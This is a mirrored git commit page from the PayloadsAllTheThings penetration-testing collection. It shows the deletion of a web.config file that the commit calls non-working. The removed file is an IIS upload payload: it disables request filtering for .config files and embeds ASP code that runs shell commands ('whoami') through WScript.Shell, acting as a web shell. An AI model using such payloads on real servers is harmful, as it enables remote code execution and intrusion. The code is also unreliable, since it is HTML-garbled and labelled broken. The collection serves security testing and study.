mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2025-02-21 14:16:07 +00:00
Delete web.config as it's not working
This commit is contained in:
parent
01f2a02c52
commit
a092546230
@ -1,34 +0,0 @@
|
|||||||
<?xml version="1.0″ encoding="UTF-8″?>
|
|
||||||
<configuration>
|
|
||||||
<system.webServer>
|
|
||||||
<handlers accessPolicy="Read, Script, Write">
|
|
||||||
<add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
|
|
||||||
</handlers>
|
|
||||||
<security>
|
|
||||||
<requestFiltering>
|
|
||||||
<fileExtensions>
|
|
||||||
<remove fileExtension=".config" />
|
|
||||||
</fileExtensions>
|
|
||||||
<hiddenSegments>
|
|
||||||
<remove segment="web.config" />
|
|
||||||
</hiddenSegments>
|
|
||||||
</requestFiltering>
|
|
||||||
</security>
|
|
||||||
</system.webServer>
|
|
||||||
<appSettings>
|
|
||||||
</appSettings>
|
|
||||||
</configuration>
|
|
||||||
<!–
|
|
||||||
<% Response.write("-"&"->")
|
|
||||||
Response.write("</p>
|
|
||||||
<pre>")</p>
|
|
||||||
<p>Set wShell1 = CreateObject("WScript.Shell")
|
|
||||||
Set cmd1 = wShell1.Exec("whoami")
|
|
||||||
output1 = cmd1.StdOut.Readall()
|
|
||||||
set cmd1 = nothing: Set wShell1 = nothing</p>
|
|
||||||
<p>Response.write(output1)
|
|
||||||
Response.write("</pre>
|
|
||||||
<p><!-"&"-") %>
|
|
||||||
–>
|
|
||||||
|
|
||||||
<!-- web.config payload from https://poc-server.com/blog/2018/05/22/rce-by-uploading-a-web-config/ -->
|
|
Loading…
Reference in New Issue
Block a user